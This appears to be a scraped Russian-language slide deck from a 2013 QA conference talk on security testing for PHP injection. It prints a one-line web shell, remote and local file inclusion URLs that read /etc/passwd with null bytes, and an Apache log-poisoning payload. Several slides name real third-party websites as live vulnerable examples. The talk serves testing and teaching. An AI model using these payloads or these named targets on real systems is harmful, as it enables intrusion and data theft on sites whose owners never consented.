40
Тестирование безопасности: PHP инъекция Тестирование безопасности: PHP инъекция Дмитрий Мулица. CTDev

Тестирование безопасности: PHP инъекция

  • Upload
    sqalab

  • View
    1.301

  • Download
    0

Embed Size (px)

DESCRIPTION

Презентация доклада Дмитрия Мулица на конференции SQADays-14, Львов 8-9 ноября 2013

Citation preview

Page 1: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Дмитрий Мулица. CTDev

Page 2: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Введение

Почему проблема всегда актуальна

● Захват ресурса с целью внедрения своего кода (вирусы, ссылки, баннеры)

● Хищение информации / шпионаж

● Недобросовестная конкуренция

● Спортивный интерес

Page 3: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Введение

Почему именно PHP

Netcraft:

● 39% сайтов в интернете используют PHP

● 244 млн. сайтов используют PHP

dm
http://news.netcraft.com/archives/2013/01/31/php-just-grows-grows.html
Page 4: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Общее понятие

PHP-инъекция - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.

Page 5: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Общее понятие

Потенциально опасные функции:● include()

● include_once()

● require()

● require_once()

● eval()

● create_function()

● preg_replace()

● passthru(), system(), exec(),...

Page 6: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекцияОбщее понятие

Использование повторяющихся кусков кода на разных страницах

приводят к использованию:

include()

include_once()

require()

require_once()

Page 7: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекцияОбщее понятие

passthru(), system(), exec(), shell_exec,

popen, proc_open

Позволяют запускать стороннее приложение. Чаще всего имеется в виду – консольное.

Page 8: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Общее понятие

Для примера, классический Web shell

shell.php:

<?php system($_GET["command"]);

?>

Page 9: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Общее понятие

Пример использования web shell'a:

Выключить windows хост-машину

http://[site]/shell.php?command=shutdown -s

После декодирования получается:

http://[site]/shell.php?command=shutdown%20-s

Page 10: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Общее понятие

Готовые решения web shell'ов● C99 Shell

● CIH.[ms] Webshell

● R57Shell

● WSO Webshell

● P.A.S.

● phpShell

● ...

Page 11: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Общее понятие

Page 12: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекцияОбщее понятие

Основные способы передачи данных:● GET-запросы● POST-запросы● Cookie● Header-запросы● Files

Page 13: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Глобальная инъекция

Глобальная инъекция – подключениe (include) кода, находящегося на другом сервере.

Page 14: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Глобальная инъекцияmain.php:

<?php

if($_GET['id'])

include($_GET['id']);

?>

Пример использования:

http://[site]/main.php?id=1.php

Page 15: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Глобальная инъекция

0) http://[site]/main.php?id=1.php

1) http://[site]/main.php?id=http://[another-site]/shell.php

2) http://[site]/main.php?id=http://[another-site]/shell.php&command=shutdown%20-s

Page 16: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Локальная инъекция

Локальная инъекция - подключения (include) кода, находящегося на текущем сервере.

Page 17: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Локальная инъекция

http://[site]/main.php?id=[path_to_file]

Действующие примеры:http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00

http://museum.nhm.uga.edu/index.php?page=../../../../../etc/passwd%00

Page 18: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция"Ядовитый" ноль

Нюанс в примере:

http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00

Page 19: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

"Ядовитый" ноль

Нулевой байт aka "Ядовитый" ноль

= конец строки

%00 - закодированный в формат URL нулевой байт.

Page 20: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Локальная инъекция

http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00

Page 21: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Локальная инъекция

http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00

Page 22: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Локальная инъекцияhttp://museum.nhm.uga.edu/index.php?page=../../../../../

etc/passwd%00

Page 23: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Локальная инъекцияhttp://museum.nhm.uga.edu/index.php?page=../../../../../

etc/passwd%00

Page 24: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Локальная инъекция

Page 25: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Загрузка файлов

● *.php● Изменение расширения● Модификация файла

Page 26: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Загрузка файлов

jpeg:<?php phpinfo(); ?>

Page 27: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Загрузка файлов

Page 28: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Инъекция через логи Apache'a

Пример Request Headers:Accept text/html,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding gzip, deflate

Accept-Language ru

Connection keep-alive

DNT 1

Host www.confeture.com

If-None-Match "dfab3f5e6cce48be79d870dc1374ccaa"

Referer http://www.confeture.com/

User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0

Page 29: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Инъекция через логи Apache'a

Referer:

http://[site]/<?php passthru($_GET['command']);?>

httpd-access.log:

127.0.0.1 - - [17/Aug/2013:13:52:17 +0300] "HEAD / HTTP/1.1" 200 326 "http://[site]/<?php passthru($_GET[command]); ?>" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/28.0.1500.71 Chrome/28.0.1500.71 Safari/537.36"

Page 30: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Инъекция через логи Apache'a

Примерный запрос:http://[site]/page.php?page=../../../../../../../httpd-access.log%00&command=uname+-a

Page 31: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекцияИнъекция через логи Apache'a

http://www.ecwatech.ru/2014/index.php?content=../../../../../../../../../../usr/local/apache/logs/access_log%00

Page 32: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекцияИнъекция через логи Apache'a

http://citypipe.ru/index.php?content=../../../../../../../../../../usr/local/apache/logs/access_log%00

Page 33: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Рекурсия

Рекурсия - вызов функции (процедуры) из неё же самой (wiki)

Текущий пример:http://www.sghp.ru/index.php?page=index.php

Page 34: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Рекурсия

Page 35: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Способы тестирования

Варианты тестирования:● С доступом к коду● Без доступа к коду

Page 36: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Способы тестирования

Варианты тестирования:● Ручной● Автоматический

Page 37: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Способы тестирования

Необходимое условие:

Знать возможные способы атаки

Page 38: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Автоматический поиск

● Acunetix● RATS - Rough Auditing Tool for Security.

● RPVS - Remote PHP Vulnerability Scanner.

Page 39: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекция

Завершение

Спасибо за внимание.

Page 40: Тестирование безопасности: PHP инъекция

Тестирование безопасности: PHP инъекцияЗавершение

Вопросы?

Skype: dmulitsa

E-mail: [email protected]